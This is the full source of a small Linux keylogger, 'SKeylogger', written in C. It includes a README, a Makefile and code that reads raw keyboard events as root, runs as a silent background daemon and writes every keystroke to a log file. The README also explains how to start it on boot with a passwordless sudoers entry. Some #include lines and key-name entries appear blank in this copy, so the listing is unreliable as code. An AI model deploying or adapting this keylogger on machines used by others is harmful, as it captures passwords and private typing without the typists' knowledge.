├── .gitignore ├── Makefile ├── README.md ├── config.c ├── config.h ├── key_util.c ├── key_util.h ├── options.c ├── options.h ├── skeylogger.c └── util.h /.gitignore: -------------------------------------------------------------------------------- 1 | skeylogger 2 | *.o 3 | TODO -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC := gcc 2 | CFLAGS := -g -Wall 3 | BIN_NAME := skeylogger 4 | OBJS := skeylogger.o key_util.o options.o config.o 5 | 6 | all: $(BIN_NAME) 7 | 8 | $(BIN_NAME): $(OBJS) 9 | gcc $(CFLAGS) $(OBJS) -o $(BIN_NAME) 10 | 11 | clean: 12 | rm -f *.o $(BIN_NAME) 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | SKeylogger 2 | ========== 3 | 4 | SKeylogger is a simple keylogger. I had previously been using a few other open source keyloggers, but they stopped working when I upgraded my operating system. I tried to look through the code of those keyloggers, but it was undocumented, messy, and complex. I decided to make my own highly documented and very simple keylogger. 5 | 6 | To build and run, clone the repository and run `make`. Then run `sudo ./skeylogger`. The keylogger will start and log all keypresses to `/var/log/skeylogger`. 7 | 8 | Start on boot in Ubuntu 9 | ----------------------- 10 | While Ubuntu isn't my main operating system (I'm an [Arch Linux](https://www.archlinux.org/) user), I got a few questions about how to start the keylogger when Ubuntu boots up. Here are the steps for Ubuntu 14.04: 11 | 12 | 1. Edit `/etc/rc.local` and add `/path/to/skeylogger` above the line with `exit 0`. Replace `/path/to/skeylogger` with the full path to the keylogger binary. 13 | 14 | 2. Allow sudo access without a password (Note: this may be a security threat. Do at your own risk). To do this, add the following line to `/etc/sudoers` making sure to replace the path with the path you used above and the username with your username: 15 | ``` 16 | username ALL = NOPASSWD: /path/to/skeylogger 17 | ``` 18 | 3. Reboot ubuntu. Open a terminal and type `pgrep skeylogger`. You should find one `skeylogger` process running. 19 | -------------------------------------------------------------------------------- /config.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "config.h" 4 | 5 | void Config_cleanup(Config *config) { 6 | free(config->logFile); 7 | free(config->deviceFile); 8 | config->logFile = NULL; 9 | config->deviceFile = NULL; 10 | } -------------------------------------------------------------------------------- /config.h: -------------------------------------------------------------------------------- 1 | #ifndef _CONFIG_H_ 2 | #define _CONFIG_H_ 3 | 4 | typedef struct Config { 5 | char *logFile; 6 | char *deviceFile; 7 | } Config; 8 | 9 | void Config_cleanup(Config *config); 10 | 11 | #endif -------------------------------------------------------------------------------- /key_util.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "util.h" 4 | #include "key_util.h" 5 | 6 | #define UK UNKNOWN_KEY 7 | 8 | /* 9 | * The order of the keys is defined in linux/input.h 10 | */ 11 | static char *key_names[] = { 12 | UK, "", 13 | "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", 14 | "", "", 15 | "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", 16 | "[", "]", "", "", 17 | "a", "s", "d", "f", "g", "h", "j", "k", "l", ";", 18 | "'", "`", "", 19 | "\\", "z", "x", "c", "v", "b", "n", "m", ",", ".", "/", 20 | "", 21 | "", 22 | "", " ", "", 23 | "", "", "", "", "", "", "", "", "", "", 24 | "", "", 25 | "", "", "", 26 | "", 27 | "", "", "", 28 | "", 29 | "", "", "", "", 30 | "", 31 | UK, UK, UK, 32 | "", "", 33 | UK, UK, UK, UK, UK, UK, UK, 34 | "", "", "", "", "", UK, 35 | "", "", "", "", "", "", "", 36 | "", "", "" 37 | }; 38 | 39 | static char *shift_key_names[] = { 40 | UK, "", 41 | "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "_", "+", 42 | "", "", 43 | "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", 44 | "{", "}", "", "", 45 | "A", "S", "D", "F", "G", "H", "J", "K", "L", ":", 46 | "\"", "~", "", 47 | "|", "Z", "X", "C", "V", "B", "N", "M", "<", ">", "?", 48 | "", 49 | "", 50 | "", " ", "", 51 | "", "", "", "", "", "", "", "", "", "", 52 | "", "", 53 | "", "", "", 54 | "", 55 | "", "", "", 56 | "", 57 | "", "", "", "", 58 | "", 59 | UK, UK, UK, 60 | "", "", 61 | UK, UK, UK, UK, UK, UK, UK, 62 | "", "", "", "", "", UK, 63 | "", "", "", "", "", "", "", 64 | "", "", "" 65 | }; 66 | 67 | #undef UK 68 | 69 | /** 70 | * Determines whether the key code is a shift 71 | * @param code the key code to check 72 | * @return true if the key is a shift key, false otherwise 73 | */ 74 | bool isShift(uint16_t code) { 75 | return code == KEY_LEFTSHIFT || code == KEY_RIGHTSHIFT; 76 | } 77 | 78 | /** 79 | * Converts a key code to an ascii character. See linux/input.h for more 80 | * information 81 | * 82 | * @param code the key code to convert 83 | * @return the corresponding ascii character 84 | */ 85 | char *getKeyText(uint16_t code, uint8_t shift_pressed) { 86 | ASSERT_ON_COMPILE(ARRAY_SIZE(key_names) == ARRAY_SIZE(shift_key_names)); 87 | 88 | // LOG("%s", shift_pressed ? "true" : "false"); 89 | char **arr; 90 | if (shift_pressed != 0) { 91 | arr = shift_key_names; 92 | } else { 93 | arr = key_names; 94 | } 95 | 96 | if (code < ARRAY_SIZE(key_names)) { 97 | return arr[code]; 98 | } else { 99 | LOG("Unknown key: %u", code); 100 | return UNKNOWN_KEY; 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /key_util.h: -------------------------------------------------------------------------------- 1 | #ifndef _KEY_UTIL_ 2 | #define _KEY_UTIL_ 3 | 4 | #include 5 | #include 6 | 7 | #define UNKNOWN_KEY "\0" 8 | 9 | bool isShift(uint16_t code); 10 | char* getKeyText(uint16_t code, uint8_t shift_pressed); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /options.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include // exit 4 | #include 5 | 6 | #include "options.h" 7 | #include "util.h" 8 | 9 | #define VERSION "0.0.1" 10 | 11 | static void printHelp(); 12 | static void printVersion(); 13 | static char *getKeyboardDeviceFileName(); 14 | 15 | static const char short_opts[] = "hvl:d:"; 16 | static struct option long_opts[] = { 17 | {"help", no_argument, 0, 'h'}, 18 | {"version", no_argument, 0, 'v'}, 19 | {"logfile", required_argument, 0, 'l'}, 20 | {"device", required_argument, 0, 'd'}, 21 | {0, 0, 0, 0} 22 | }; 23 | 24 | /** 25 | * Detects and returns the name of the keyboard device file. This function uses 26 | * the fact that all device information is shown in /proc/bus/input/devices and 27 | * the keyboard device file should always have an EV of 120013 28 | * 29 | * @return the name of the keyboard device file 30 | */ 31 | static char *getKeyboardDeviceFileName() { 32 | static const char *command = 33 | "grep -E 'Handlers|EV' /proc/bus/input/devices |" 34 | "grep -B1 120013 |" 35 | "grep -Eo event[0-9]+ |" 36 | "tr '\\n' '\\0'"; 37 | 38 | FILE *pipe = popen(command, "r"); 39 | if (pipe == NULL) { 40 | LOG_ERROR("Could not determine keyboard device file"); 41 | } 42 | 43 | char result[20] = "/dev/input/"; 44 | char temp[9]; 45 | fgets(temp, 9, pipe); 46 | 47 | pclose(pipe); 48 | return strdup(strcat(result, temp)); 49 | } 50 | 51 | void parseOptions(int argc, char **argv, Config *config) { 52 | config->deviceFile = getKeyboardDeviceFileName(); 53 | config->logFile = "/var/log/skeylogger.log"; 54 | 55 | int index; 56 | int opt = 0; 57 | while (opt != -1) { 58 | opt = getopt_long(argc, argv, short_opts, long_opts, &index); 59 | 60 | switch (opt) { 61 | case 'h': 62 | printHelp(); 63 | exit(0); 64 | break; 65 | case 'v': 66 | printVersion(); 67 | exit(0); 68 | break; 69 | case 'l': 70 | config->logFile = strdup(optarg); 71 | break; 72 | case 'd': 73 | config->deviceFile = strdup(optarg); 74 | break; 75 | case '?': 76 | // Errors handled automatically 77 | break; 78 | } 79 | } 80 | } 81 | 82 | static void printHelp() { 83 | printf("%s\n", "Usage: skeylogger [OPTION]\n" 84 | "Logs pressed keys\n\n" 85 | " -h, --help\t\tDisplays this help message\n" 86 | " -v, --version\t\tDisplays version information\n" 87 | " -l, --logfile\t\tPath to the logfile\n" 88 | " -d, --device\t\tPath to device file (/dev/input/eventX)\n"); 89 | } 90 | 91 | static void printVersion() { 92 | printf("%s\n", "Simple Key Logger version " VERSION); 93 | } -------------------------------------------------------------------------------- /options.h: -------------------------------------------------------------------------------- 1 | #ifndef _OPTIONS_H_ 2 | #define _OPTIONS_H_ 3 | 4 | #include "config.h" 5 | 6 | void parseOptions(int argc, char **argv, Config *config); 7 | 8 | #endif -------------------------------------------------------------------------------- /skeylogger.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include // open 3 | #include 4 | #include // strerror 5 | #include 6 | #include 7 | #include 8 | #include // daemon, close 9 | #include 10 | 11 | #include "key_util.h" 12 | #include "util.h" 13 | #include "options.h" 14 | #include "config.h" 15 | 16 | #define KEY_RELEASE 0 17 | #define KEY_PRESS 1 18 | 19 | typedef struct input_event input_event; 20 | 21 | static void rootCheck(); 22 | static int openKeyboardDeviceFile(char *deviceFile); 23 | 24 | /** 25 | * Exit with return code -1 if user does not have root privileges 26 | */ 27 | static void rootCheck() { 28 | if (geteuid() != 0) { 29 | printf("Must run as root\n"); 30 | exit(-1); 31 | } 32 | } 33 | 34 | /** 35 | * Opens the keyboard device file 36 | * 37 | * @param deviceFile the path to the keyboard device file 38 | * @return the file descriptor on success, error code on failure 39 | */ 40 | static int openKeyboardDeviceFile(char *deviceFile) { 41 | int kbd_fd = open(deviceFile, O_RDONLY); 42 | if (kbd_fd == -1) { 43 | LOG_ERROR("%s", strerror(errno)); 44 | exit(-1); 45 | } 46 | 47 | return kbd_fd; 48 | } 49 | 50 | int main(int argc, char **argv) { 51 | rootCheck(); 52 | 53 | Config config; 54 | parseOptions(argc, argv, &config); 55 | 56 | int kbd_fd = openKeyboardDeviceFile(config.deviceFile); 57 | assert(kbd_fd > 0); 58 | 59 | FILE *logfile = fopen(config.logFile, "a"); 60 | if (logfile == NULL) { 61 | LOG_ERROR("Could not open log file"); 62 | exit(-1); 63 | } 64 | 65 | // We want to write to the file on every keypress, so disable buffering 66 | setbuf(logfile, NULL); 67 | 68 | // Daemonize process. Don't change working directory but redirect standard 69 | // inputs and outputs to /dev/null 70 | if (daemon(1, 0) == -1) { 71 | LOG_ERROR("%s", strerror(errno)); 72 | exit(-1); 73 | } 74 | 75 | uint8_t shift_pressed = 0; 76 | input_event event; 77 | while (read(kbd_fd, &event, sizeof(input_event)) > 0) { 78 | if (event.type == EV_KEY) { 79 | if (event.value == KEY_PRESS) { 80 | if (isShift(event.code)) { 81 | shift_pressed++; 82 | } 83 | char *name = getKeyText(event.code, shift_pressed); 84 | if (strcmp(name, UNKNOWN_KEY) != 0) { 85 | LOG("%s", name); 86 | fputs(name, logfile); 87 | } 88 | } else if (event.value == KEY_RELEASE) { 89 | if (isShift(event.code)) { 90 | shift_pressed--; 91 | } 92 | } 93 | } 94 | assert(shift_pressed >= 0 && shift_pressed <= 2); 95 | } 96 | 97 | Config_cleanup(&config); 98 | fclose(logfile); 99 | close(kbd_fd); 100 | return 0; 101 | } 102 | -------------------------------------------------------------------------------- /util.h: -------------------------------------------------------------------------------- 1 | #ifndef _LOG_H_ 2 | #define _LOG_H_ 3 | 4 | #include 5 | 6 | #define ASSERT_ON_COMPILE(expn) typedef char __C_ASSERT__[(expn) ? 1 : -1] 7 | 8 | #define ARRAY_SIZE(arr) (sizeof(arr)/sizeof(arr[0])) 9 | 10 | #define LOG(msg, ...) printf(msg "\n", ##__VA_ARGS__) 11 | #define LOG_ERROR(msg, ...) printf(msg "\n", ##__VA_ARGS__) 12 | 13 | #endif 14 | --------------------------------------------------------------------------------